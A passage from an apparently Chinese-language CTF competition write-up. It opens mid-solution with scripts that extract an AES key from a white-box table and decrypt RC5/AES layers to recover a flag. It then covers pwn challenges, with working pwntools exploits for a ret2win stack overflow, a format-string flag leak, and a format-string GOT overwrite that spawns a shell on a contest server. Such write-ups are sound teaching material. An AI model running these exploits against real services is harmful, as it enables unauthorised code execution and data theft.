    0xe1, 0xf8, 0x98, 0x11, 0x69, 0xd9, 0x8e, 0x94, 0x9b, 0x1e, 0x87, 0xe9, 0xce, 0x55, 0x28, 0xdf,
    0x8c, 0xa1, 0x89, 0x0d, 0xbf, 0xe6, 0x42, 0x68, 0x41, 0x99, 0x2d, 0x0f, 0xb0, 0x54, 0xbb, 0x16
]

# Rcon
Rcon = [
    0x00, 0x01, 0x02, 0x04, 0x08, 0x10, 0x20, 0x40, 0x80, 0x1b, 0x36
]

def extract_key():
    offset = 0x5d710

    key_round_10 = []

    try:
        with open(&apos;jadx_out/resources/lib/x86_64/libtest.so&apos;, &apos;rb&apos;) as f:
            f.seek(offset)
            data = f.read(4096)
            if len(data) &amp;lt; 4096:
                print(&quot;Error: Could not read enough data&quot;)
                return

            # Check if our assumption is correct: LookUp[k][x] = SBox[x] ^ Key[k]
            # We can check a few values to see if they are consistent.
            # Key[k] should be constant for all x.
            # Key[k] = LookUp[k][x] ^ SBox[x]

            for k in range(16):
                candidates = []
                for x in range(16): # Check first 16 values
                    val = data[256 * k + x]
                    candidate_key = val ^ sbox[x]
                    candidates.append(candidate_key)

                if all(c == candidates[0] for c in candidates):
                    key_round_10.append(candidates[0])
                else:
                    print(f&quot;Mismatch found for byte {k}&quot;)
                    print(candidates)
                    return

        print(&quot;Extracted 10th Round Key:&quot;)
        print(&quot;Hex:&quot;, &quot; &quot;.join(f&quot;{b:02x}&quot; for b in key_round_10))

        # Reverse Key Schedule (AES-128)
        # 10 rounds. Key size 16 bytes.

        current_key = key_round_10[:]

        for i in range(10, 0, -1):
            prev_key = [0] * 16

            # w[i] = w[i-1] ^ w[i-4]
            # w[i-4] = w[i] ^ w[i-1]
            # Here key is 4 words: w[4i], w[4i+1], w[4i+2], w[4i+3]
            # w[3] = current_key[12:16]
            # w[2] = current_key[8:12]
            # w[1] = current_key[4:8]
            # w[0] = current_key[0:4]

            w3 = current_key[12:16]
            w2 = current_key[8:12]
            w1 = current_key[4:8]
            w0 = current_key[0:4]

            # Reversing:
            # w[4i+3] = w[4i+2] ^ w[4(i-1)+3]  =&amp;gt; w[4(i-1)+3] = w[4i+3] ^ w[4i+2]
            # w[4i+2] = w[4i+1] ^ w[4(i-1)+2]  =&amp;gt; w[4(i-1)+2] = w[4i+2] ^ w[4i+1]
            # w[4i+1] = w[4i]   ^ w[4(i-1)+1]  =&amp;gt; w[4(i-1)+1] = w[4i+1] ^ w[4i]
            # w[4i]   = w[4(i-1)] ^ RotWord(SubWord(w[4(i-1)+3])) ^ Rcon[i]
            # =&amp;gt; w[4(i-1)] = w[4i] ^ RotWord(SubWord(w[4(i-1)+3])) ^ Rcon[i]

            # Let&apos;s call previous round words pw0, pw1, pw2, pw3
            # pw3 = w3 ^ w2
            # pw2 = w2 ^ w1
            # pw1 = w1 ^ w0

            pw3 = [w3[j] ^ w2[j] for j in range(4)]
            pw2 = [w2[j] ^ w1[j] for j in range(4)]
            pw1 = [w1[j] ^ w0[j] for j in range(4)]

            # Calculate RotWord(SubWord(pw3))
            # RotWord([a,b,c,d]) = [b,c,d,a]
            rot_pw3 = pw3[1:] + pw3[:1]
            sub_rot_pw3 = [sbox[b] for b in rot_pw3]

            # pw0 = w0 ^ sub_rot_pw3 ^ Rcon[i]
            pw0 = [0]*4
            pw0[0] = w0[0] ^ sub_rot_pw3[0] ^ Rcon[i]
            pw0[1] = w0[1] ^ sub_rot_pw3[1]
            pw0[2] = w0[2] ^ sub_rot_pw3[2]
            pw0[3] = w0[3] ^ sub_rot_pw3[3]

            current_key = pw0 + pw1 + pw2 + pw3

        print(f&quot;Extracted Master Key (Round 0):&quot;)
        print(&quot;Hex:&quot;, &quot; &quot;.join(f&quot;{b:02x}&quot; for b in current_key))
        print(&quot;Bytes:&quot;, bytes(current_key))

    except Exception as e:
        print(f&quot;Error: {e}&quot;)

if __name__ == &apos;__main__&apos;:
    extract_key()
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;4.2 综合解密 (solve.py)&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;该脚本实现了 RC5-CBC 和 AES-CBC/ECB 的解密逻辑。&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;import struct
from Crypto.Cipher import AES
from Crypto.Util.number import long_to_bytes

# Constants
TARGET_HEX = &quot;7a626613d1a3b13a5c6ff2c4a27d272390237d1497afd81df1e168ea5fd84a395f999ebad349517553d3d33c24bb707c015808cd16f9b3cdd25ccd064fe9167389e9e4384ddcc54f&quot;
KEY_VAL = 5125268388433391
IV_VAL = -6066929684898893296

def build_iv_from_number(value):
    iv = bytearray(16)
    val_64 = value &amp;amp; 0xFFFFFFFFFFFFFFFF
    for i in range(8):
        byte_val = (val_64 &amp;gt;&amp;gt; (i * 8)) &amp;amp; 0xFF
        iv[15 - i] = byte_val
    return bytes(iv)

def ROL(x, y):
    return ((x &amp;lt;&amp;lt; y) &amp;amp; 0xFFFFFFFF) | (x &amp;gt;&amp;gt; (32 - y))

def ROR(x, y):
    return ((x &amp;gt;&amp;gt; y) &amp;amp; 0xFFFFFFFF) | (x &amp;lt;&amp;lt; (32 - y))

class RC5:
    def __init__(self, key):
        self.rounds = 12
        self.w = 32 # word size
        self.b = len(key)
        self.P = 0xB7E15163
        self.Q = 0x9E3779B9

        # Key Expansion
        u = self.w // 8
        c = (self.b + u - 1) // u
        L = [0] * c
        for i in range(self.b - 1, -1, -1):
            L[i // u] = (L[i // u] &amp;lt;&amp;lt; 8) + key[i]

        self.S = [0] * (2 * self.rounds + 2)
        self.S[0] = self.P
        for i in range(1, len(self.S)):
            self.S[i] = (self.S[i-1] + self.Q) &amp;amp; 0xFFFFFFFF

        i = j = 0
        A = B = 0
        t = 3 * max(len(self.S), c)

        for k in range(t):
            A = self.S[i] = ROL((self.S[i] + A + B) &amp;amp; 0xFFFFFFFF, 3)
            B = L[j] = ROL((L[j] + A + B) &amp;amp; 0xFFFFFFFF, (A + B) % 32)
            i = (i + 1) % len(self.S)
            j = (j + 1) % c

    def decrypt_block(self, data):
        A = struct.unpack(&apos;&amp;lt;I&apos;, data[0:4])[0]
        B = struct.unpack(&apos;&amp;lt;I&apos;, data[4:8])[0]

        for i in range(self.rounds, 0, -1):
            B = ROR((B - self.S[2 * i + 1]) &amp;amp; 0xFFFFFFFF, A % 32) ^ A
            A = ROR((A - self.S[2 * i]) &amp;amp; 0xFFFFFFFF, B % 32) ^ B

        B = (B - self.S[1]) &amp;amp; 0xFFFFFFFF
        A = (A - self.S[0]) &amp;amp; 0xFFFFFFFF

        return struct.pack(&apos;&amp;lt;I&apos;, A) + struct.pack(&apos;&amp;lt;I&apos;, B)

def unpad_cc(data):
    # Remove trailing 0xCC bytes
    while len(data) &amp;gt; 0 and data[-1] == 0xCC: # -52 is 0xCC
        data = data[:-1]
    return data

def solve():
    # 1. Prepare Keys and IVs
    enc_key = build_iv_from_number(KEY_VAL) # Used as RC5 Key
    enc_iv = build_iv_from_number(IV_VAL)   # Used as RC5 IV source

    rc5_key = enc_key
    rc5_iv = enc_iv[8:16] # Last 8 bytes

    print(f&quot;RC5 Key: {rc5_key.hex()}&quot;)
    print(f&quot;RC5 IV:  {rc5_iv.hex()}&quot;)

    # 2. RC5 Decrypt
    cipher_bytes = bytes.fromhex(TARGET_HEX)
    rc5 = RC5(rc5_key)

    plain_bytes = bytearray()
    current_iv = rc5_iv

    for i in range(0, len(cipher_bytes), 8):
        block = cipher_bytes[i:i+8]
        decrypted_block = rc5.decrypt_block(block)
        # CBC XOR
        plaintext_block = bytes(a ^ b for a, b in zip(decrypted_block, current_iv))
        plain_bytes.extend(plaintext_block)
        current_iv = block

    cypher_str = plain_bytes.decode(&apos;utf-8&apos;, errors=&apos;ignore&apos;)
    print(f&quot;Decrypted RC5 (len={len(plain_bytes)}): {plain_bytes.hex()}&quot;)
    print(f&quot;Decrypted String (len={len(cypher_str)}): {cypher_str}&quot;)

    # 3. Split parts
    # cypher = cipherHex1 + cipherHex2
    # cipherHex1 is 32 chars.

    cipher_hex1 = cypher_str[:32]
    cipher_hex2 = cypher_str[32:64] # Limit to 32 chars for second part

    print(f&quot;Hex1 ({len(cipher_hex1)}): {cipher_hex1}&quot;)
    print(f&quot;Hex2 ({len(cipher_hex2)}): {cipher_hex2}&quot;)

    # 4. Decrypt Part 1 (AES-CBC)
    # Enc.Encrypt uses:
    # Key: Enc.IV (enc_iv)
    # IV: Enc.key (enc_key)

    aes_key1 = enc_iv
    aes_iv1 = enc_key

    cipher_bytes1 = bytes.fromhex(cipher_hex1)
    cipher1 = AES.new(aes_key1, AES.MODE_CBC, aes_iv1)
    plain_bytes1 = cipher1.decrypt(cipher_bytes1)

    # Unpad (custom 0xCC)
    s1_bytes = unpad_cc(plain_bytes1)
    s1 = s1_bytes.decode(&apos;utf-8&apos;)
    print(f&quot;Part 1: {s1}&quot;)

    # 5. Decrypt Part 2 (AES-ECB/SPN)
    # Key extracted from libtest.so
    libtest_key = b&quot;You&apos;re really nb&quot;

    cipher_bytes2 = bytes.fromhex(cipher_hex2)
    cipher2 = AES.new(libtest_key, AES.MODE_ECB)
    plain_bytes2 = cipher2.decrypt(cipher_bytes2)

    # Unpad? libtest.so sub_14D60 checks % 16. Doesn&apos;t seem to pad/unpad.
    # But s2 is part of flag. Likely padded or just null terminated?
    # Or maybe it&apos;s just 16 bytes.
    s2_bytes = plain_bytes2
    try:
        s2 = s2_bytes.decode(&apos;utf-8&apos;)
    except:
        s2 = s2_bytes.hex() # Fallback

    print(f&quot;Part 2: {s2}&quot;)

    # Combine
    flag = f&quot;flag{{{s1}{s2}}}&quot;
    print(f&quot;Flag: {flag}&quot;)

if __name__ == &quot;__main__&quot;:
    solve()
&lt;/code&gt;&lt;/pre&gt;
&lt;h1&gt;PWN&lt;/h1&gt;
&lt;h2&gt;PWN1&lt;/h2&gt;
&lt;p&gt;&lt;strong&gt;1. 题目分析&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;首先使用 &lt;code&gt;file&lt;/code&gt; 和 &lt;code&gt;checksec&lt;/code&gt; 检查题目二进制文件的基本信息和保护机制。&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;$ file pwn
pwn: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=..., for GNU/Linux 3.2.0, not stripped

$ checksec --file=pwn
    Arch:       amd64-64-little
    RELRO:      Partial RELRO
    Stack:      No canary found
    NX:         NX unknown - GNU_STACK missing (通常开启)
    PIE:        No PIE (0x400000)
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;关键点&lt;/strong&gt;:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;64位 ELF 程序&lt;/strong&gt;。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;No Canary&lt;/strong&gt;: 栈溢出保护未开启，这使得我们可以轻松覆盖栈上的返回地址。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;No PIE&lt;/strong&gt;: 代码段地址固定，基址为 &lt;code&gt;0x400000&lt;/code&gt;，利用 ROP 或跳转到固定函数非常方便。&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;通过反汇编 &lt;code&gt;main&lt;/code&gt; 和 &lt;code&gt;vulnerable_function&lt;/code&gt; 函数：&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;&lt;code&gt;main&lt;/code&gt; 函数调用了 &lt;code&gt;vulnerable_function&lt;/code&gt;。&lt;/li&gt;
&lt;li&gt;&lt;code&gt;vulnerable_function&lt;/code&gt; (&lt;code&gt;0x401200&lt;/code&gt;) 中定义了一个 &lt;code&gt;0x40&lt;/code&gt; (64字节) 的缓冲区。&lt;/li&gt;
&lt;li&gt;程序使用了 &lt;code&gt;gets()&lt;/code&gt; 函数读取用户输入。
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;gets()&lt;/code&gt; 不检查输入长度，导致严重的 &lt;strong&gt;栈溢出 (Stack Buffer Overflow)&lt;/strong&gt; 漏洞。&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;通过 &lt;code&gt;objdump&lt;/code&gt; 或 IDA 查看，发现了一个后门函数 &lt;code&gt;win&lt;/code&gt; (&lt;code&gt;0x4011dd&lt;/code&gt;)：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;00000000004011dd &amp;lt;win&amp;gt;:
  ...
  call   puts(&quot;Congratulations! You got the flag!&quot;)
  call   system(&quot;echo $FLAG&quot;)
  ...
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;这个函数直接输出环境变量中的 FLAG。因此，最简单的利用思路是 &lt;strong&gt;Ret2Win&lt;/strong&gt;：通过栈溢出覆盖返回地址，将其修改为 &lt;code&gt;win&lt;/code&gt; 函数的地址。&lt;/p&gt;
&lt;p&gt;计算偏移量&lt;/p&gt;
&lt;p&gt;栈结构通常如下：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;[ Buffer (64 bytes) ]
[ Saved RBP (8 bytes) ]
[ Return Address (8 bytes) ] &amp;lt;--- 目标
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;因此，我们需要填充的数据长度为 &lt;code&gt;64 + 8 = 72&lt;/code&gt; 字节。第 73-80 字节将覆盖返回地址。&lt;/p&gt;
&lt;p&gt;构造 Payload&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Padding&lt;/strong&gt;: 72 个 &apos;A&apos;。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Ret Address&lt;/strong&gt;: &lt;code&gt;win&lt;/code&gt; 函数的地址 &lt;code&gt;0x4011dd&lt;/code&gt;。&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;strong&gt;注意&lt;/strong&gt;: 在某些 64 位系统中，调用 &lt;code&gt;system&lt;/code&gt; 等函数时需要栈对齐 (16字节对齐)。如果直接跳转失败，可以在 &lt;code&gt;win&lt;/code&gt; 地址前加一个 &lt;code&gt;ret&lt;/code&gt; 指令 (&lt;code&gt;0x40101a&lt;/code&gt;) 的地址作为填充（ROP Gadget）。&lt;/p&gt;
&lt;p&gt;Exp:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;from pwn import *

# 配置
exe = &apos;./pwn&apos;
elf = ELF(exe)
context.binary = exe
context.log_level = &apos;debug&apos;

# 远程连接参数 (请根据实际情况修改)
ip = &apos;150.138.81.18&apos;
port = 11402

def exploit():
    # 连接远程或本地进程
    if args.REMOTE:
        io = remote(ip, port)
    else:
        io = process(exe)

    # 1. 确定偏移量
    # buffer (0x40) + rbp (0x8) = 72
    offset = 72

    # 2. 获取 win 函数地址
    win_addr = elf.symbols[&apos;win&apos;] # 或者 0x4011dd
    log.info(f&quot;Win Address: {hex(win_addr)}&quot;)

    # 3. 构造 Payload
    # padding + win_addr
    payload = b&apos;A&apos; * offset + p64(win_addr)

    # 4. 发送 Payload
    io.recvuntil(b&apos;Enter your input: \n&apos;)
    io.sendline(payload)

    # 5. 获取交互 (或直接读取输出)
    io.interactive()

if __name__ == &apos;__main__&apos;:
    exploit()
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;PWN3&lt;/h2&gt;
&lt;p&gt;&lt;strong&gt;1. 题目信息&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;题目名称&lt;/strong&gt;: PWN3 (pwn_challenge)&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;文件架构&lt;/strong&gt;: Linux x86-64 ELF&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;保护机制&lt;/strong&gt;:
&lt;ul&gt;
&lt;li&gt;No PIE (地址固定)&lt;/li&gt;
&lt;li&gt;No Canary (无栈溢出保护哨兵)&lt;/li&gt;
&lt;li&gt;NX Enabled (栈不可执行)&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;strong&gt;2. 逆向分析&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;使用 &lt;code&gt;objdump&lt;/code&gt; 和 &lt;code&gt;file&lt;/code&gt; 工具对二进制文件进行静态分析。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;主要函数逻辑&lt;/strong&gt;&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;&lt;code&gt;read_flag&lt;/code&gt; (0x401276)&lt;/strong&gt;:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;该函数从环境变量中读取 Flag，或者如果环境变量不存在，则可能读取本地文件（虽然本题环境中主要是从环境/堆中获取）。&lt;/li&gt;
&lt;li&gt;Flag 被读取后存储在堆（Heap）内存中，函数返回指向 Flag 字符串的指针。&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;&lt;code&gt;main&lt;/code&gt; (0x40135d)&lt;/strong&gt;:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;程序首先调用 &lt;code&gt;read_flag&lt;/code&gt; 函数。&lt;/li&gt;
&lt;li&gt;返回的 Flag 指针被存储在栈上 &lt;code&gt;[rbp - 0x8]&lt;/code&gt; 的位置。&lt;/li&gt;
&lt;li&gt;程序提示 &quot;Enter your name:&quot;。&lt;/li&gt;
&lt;li&gt;使用 &lt;code&gt;fgets&lt;/code&gt; 读取用户输入到栈缓冲区 &lt;code&gt;[rbp - 0x70]&lt;/code&gt;，最大读取 100 字节。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;漏洞点&lt;/strong&gt;: 调用 &lt;code&gt;printf(buffer)&lt;/code&gt; 直接打印用户输入的内容，未包含格式化字符串参数，导致&lt;strong&gt;格式化字符串漏洞 (Format String Vulnerability)&lt;/strong&gt;。&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;&lt;strong&gt;3. 漏洞利用&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;由于我们可以控制 &lt;code&gt;printf&lt;/code&gt; 的格式化字符串参数，我们可以利用它来读取栈上的任意数据。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;偏移量计算&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;我们需要读取的是 Flag，而 Flag 的&lt;strong&gt;地址指针&lt;/strong&gt;存储在栈上。&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;Flag 指针位置&lt;/strong&gt;: &lt;code&gt;[rbp - 0x8]&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;输入缓冲区位置&lt;/strong&gt;: &lt;code&gt;[rbp - 0x70]&lt;/code&gt; (即格式化字符串本身的位置)&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;距离计算&lt;/strong&gt;:
&lt;ul&gt;
&lt;li&gt;两者在栈上的距离为 &lt;code&gt;0x70 - 0x8 = 0x68 = 104&lt;/code&gt; 字节。&lt;/li&gt;
&lt;li&gt;栈单元大小为 8 字节，所以相差 &lt;code&gt;104 / 8 = 13&lt;/code&gt; 个参数位置。&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;参数定位&lt;/strong&gt;:
&lt;ul&gt;
&lt;li&gt;经过调试或计算，输入缓冲区对应 &lt;code&gt;printf&lt;/code&gt; 的第 &lt;strong&gt;8&lt;/strong&gt; 个参数（&lt;code&gt;%8$p&lt;/code&gt; 会打印出缓冲区的开头）。&lt;/li&gt;
&lt;li&gt;因此，Flag 指针所在的参数位置为 &lt;code&gt;8 + 13 = 21&lt;/code&gt;。&lt;/li&gt;
&lt;li&gt;目标参数为第 &lt;strong&gt;21&lt;/strong&gt; 个参数。&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;我们需要让 &lt;code&gt;printf&lt;/code&gt; 将第 21 个参数视为字符串指针，并打印其指向的内容。&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Payload&lt;/strong&gt;: &lt;code&gt;%21$s&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;strong&gt;exp&lt;/strong&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;from pwn import *

# 配置上下文
binary_path = &apos;./pwn_challenge&apos;
# context.binary = elf = ELF(binary_path) # 如果有本地文件可启用
context.log_level = &apos;info&apos;
context.arch = &apos;amd64&apos;
context.os = &apos;linux&apos;

# 远程题目地址
HOST = &apos;150.138.81.18&apos;
PORT = 10640

def exploit():
    # 连接远程靶机
    io = remote(HOST, PORT)

    # 漏洞分析:
    # 1. Flag 指针存储在栈上 [rbp - 0x8]
    # 2. 输入缓冲区位于 [rbp - 0x70]
    # 3. 两者相差 104 字节 (13 个 8字节字)
    # 4. 缓冲区起始于 printf 的第 8 个参数位置
    # 5. Flag 指针位于 8 + 13 = 21 参数位置
    
    # 构造 Payload: 读取第 21 个参数指向的字符串
    payload = b&apos;%21$s&apos;
    
    # 接收提示信息 &quot;Enter your name: &quot;
    io.recvuntil(b&apos;name: &apos;)

    # 发送 Payload
    print(f&quot;[+] Sending payload: {payload}&quot;)
    io.sendline(payload)
    
    # 接收输出结果
    try:
        response = io.recv()
        print(&quot;\n[+] Received output:&quot;)
        print(response.decode(errors=&apos;ignore&apos;))
        
        if b&apos;HSCCTF{&apos; in response:
            print(&quot;\n[SUCCESS] Flag found!&quot;)
    except EOFError:
        print(&quot;[-] Connection closed unexpectedly&quot;)
    
    io.close()

if __name__ == &apos;__main__&apos;:
    exploit()
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;PWN4&lt;/h2&gt;
&lt;p&gt;&lt;strong&gt;基本信息&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;文件名&lt;/strong&gt;: &lt;code&gt;pwn&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;架构&lt;/strong&gt;: x86-64&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;保护机制&lt;/strong&gt;:
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;RELRO&lt;/strong&gt;: Partial RELRO (GOT表可写)&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Stack Canary&lt;/strong&gt;: Disabled (无栈溢出保护)&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;NX&lt;/strong&gt;: Enabled (栈不可执行)&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;PIE&lt;/strong&gt;: Enabled (地址随机化)&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;strong&gt;逆向分析&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;程序逻辑非常简单，主要功能在 &lt;code&gt;echo&lt;/code&gt; 函数中：&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;使用 &lt;code&gt;fgets&lt;/code&gt; 读取用户输入到栈上缓冲区。&lt;/li&gt;
&lt;li&gt;使用 &lt;code&gt;printf&lt;/code&gt; 输出缓冲区内容。&lt;/li&gt;
&lt;li&gt;使用 &lt;code&gt;strcmp&lt;/code&gt; 比较输入是否为 &quot;exit&quot;，如果是则退出，否则循环执行。&lt;/li&gt;
&lt;/ol&gt;
&lt;pre&gt;&lt;code&gt;// 伪代码
void echo() {
    char buf[0x100];
    while (1) {
        fgets(buf, 0x100, stdin);
        printf(buf); // Format String Vulnerability!
        if (strcmp(buf, &quot;exit\n&quot;) == 0) break;
    }
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;漏洞点&lt;/strong&gt;: &lt;code&gt;printf(buf)&lt;/code&gt; 存在格式化字符串漏洞。由于程序是一个循环，我们可以多次利用该漏洞进行泄漏和写入。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;2. 利用思路&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;由于开启了 PIE，我们需要先泄漏地址。利用步骤如下：&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;泄漏 PIE 基址&lt;/strong&gt;:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;通过 fuzz 发现偏移为 6。&lt;/li&gt;
&lt;li&gt;查看栈上数据，发现 &lt;code&gt;%41$p&lt;/code&gt; 处存储了一个指向程序代码段的返回地址 (偏移 &lt;code&gt;0xa03&lt;/code&gt;)。&lt;/li&gt;
&lt;li&gt;计算公式: &lt;code&gt;PIE_Base = leaked_addr - 0xa03&lt;/code&gt;。&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;泄漏 Libc 地址&lt;/strong&gt;:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;利用 &lt;code&gt;%7$s&lt;/code&gt; (对应栈上偏移 6 的位置，我们需要填充 padding) 来读取任意地址内容。&lt;/li&gt;
&lt;li&gt;构造 payload 读取 &lt;code&gt;printf&lt;/code&gt; 的 GOT 表内容。&lt;/li&gt;
&lt;li&gt;通过泄漏的 &lt;code&gt;printf&lt;/code&gt; 地址，确定 libc 版本 (本题环境推测为 Ubuntu 16.04, glibc 2.23)。&lt;/li&gt;
&lt;li&gt;计算 &lt;code&gt;system&lt;/code&gt; 函数地址。&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;劫持控制流 (GOT Hijacking)&lt;/strong&gt;:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;由于 Partial RELRO，GOT 表是可写的。&lt;/li&gt;
&lt;li&gt;使用格式化字符串漏洞的 &lt;code&gt;%n&lt;/code&gt; 功能，将 &lt;code&gt;printf&lt;/code&gt; 的 GOT 表项修改为 &lt;code&gt;system&lt;/code&gt; 函数的地址。&lt;/li&gt;
&lt;li&gt;这里使用了 &lt;code&gt;pwntools&lt;/code&gt; 的 &lt;code&gt;fmtstr_payload&lt;/code&gt; 自动生成 payload。&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;Get Shell&lt;/strong&gt;:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;修改成功后，下一次调用 &lt;code&gt;printf(buf)&lt;/code&gt; 实际上会执行 &lt;code&gt;system(buf)&lt;/code&gt;。&lt;/li&gt;
&lt;li&gt;发送 &lt;code&gt;/bin/sh&lt;/code&gt;，程序执行 &lt;code&gt;system(&quot;/bin/sh&quot;)&lt;/code&gt;，获得 shell。&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;exp&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;from pwn import *
import time

context.arch = &apos;amd64&apos;
context.log_level = &apos;info&apos;

host = &apos;150.138.81.18&apos;
port = 12355

def exploit():
    r = remote(host, port)
    
    # === 第一步：泄漏 PIE 基址 ===
    # %41$p 泄漏栈上的返回地址，其偏移为 0xa03
    r.sendline(b&quot;%41$p&quot;)
    resp1 = r.recvline()
    leak_pie = int(resp1.decode().strip(), 16)
    pie_base = leak_pie - 0xa03
    log.success(f&quot;PIE Base: {hex(pie_base)}&quot;)
    
    # === 第二步：泄漏 Libc 地址 ===
    # 计算 printf 的 GOT 表地址
    printf_got = pie_base + 0x201020
    
    # 构造 payload: &quot;%7$s&quot; + &quot;AAAA&quot; + p64(printf_got)
    # 这里的 p64(printf_got) 会被放在栈上偏移 7 的位置
    payload2 = b&quot;%7$sAAAA&quot; + p64(printf_got)
    r.sendline(payload2)
    
    # 接收泄漏数据
    resp2 = r.recvuntil(b&quot;AAAA&quot;)
    leak_bytes = resp2[:-4]
    leak_printf = u64(leak_bytes.ljust(8, b&apos;\x00&apos;))
    log.success(f&quot;Printf Leak: {hex(leak_printf)}&quot;)
    
    # 计算 system 地址
    # 根据泄漏地址分析，环境为 libc-2.23
    # offset_printf = 0x55800, offset_system = 0x45390
    system_addr = leak_printf - 0x10470
    log.success(f&quot;System Addr: {hex(system_addr)}&quot;)
    
    # === 第三步：改写 GOT 表 ===
    # 将 printf 的 GOT 表地址修改为 system 地址
    # fmtstr_payload 会自动计算偏移 (偏移 6)
    writes = {printf_got: system_addr}
    payload3 = fmtstr_payload(6, writes, write_size=&apos;short&apos;)
    log.info(&quot;Sending fmtstr payload to overwrite GOT...&quot;)
    r.sendline(payload3)
    
    # 消耗掉 %n 产生的大量输出
    try:
        while True:
            chunk = r.recv(4096, timeout=1)
            if not chunk: break
    except:
        pass
    
    # === 第四步：Get Shell ===
    # 此时 printf 变成了 system，发送 /bin/sh 即可
    log.info(&quot;Sending /bin/sh...&quot;)
    r.sendline(b&quot;/bin/sh&quot;)
    
    # 读取 Flag
    r.sendline(b&quot;cat flag&quot;)
    r.interactive()

if __name__ == &quot;__main__&quot;:
    exploit()
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;PWN2&lt;/h2&gt;
&lt;p&gt;&lt;strong&gt;1. 基本信息&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;文件名&lt;/strong&gt;: &lt;code&gt;pwn&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;架构&lt;/strong&gt;: x86-64 ELF&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;保护机制&lt;/strong&gt;:
&lt;ul&gt;
&lt;li&gt;RELRO: Partial RELRO&lt;/li&gt;
&lt;li&gt;Stack: No canary found&lt;/li&gt;
&lt;li&gt;NX: NX enabled (堆栈不可执行)&lt;/li&gt;
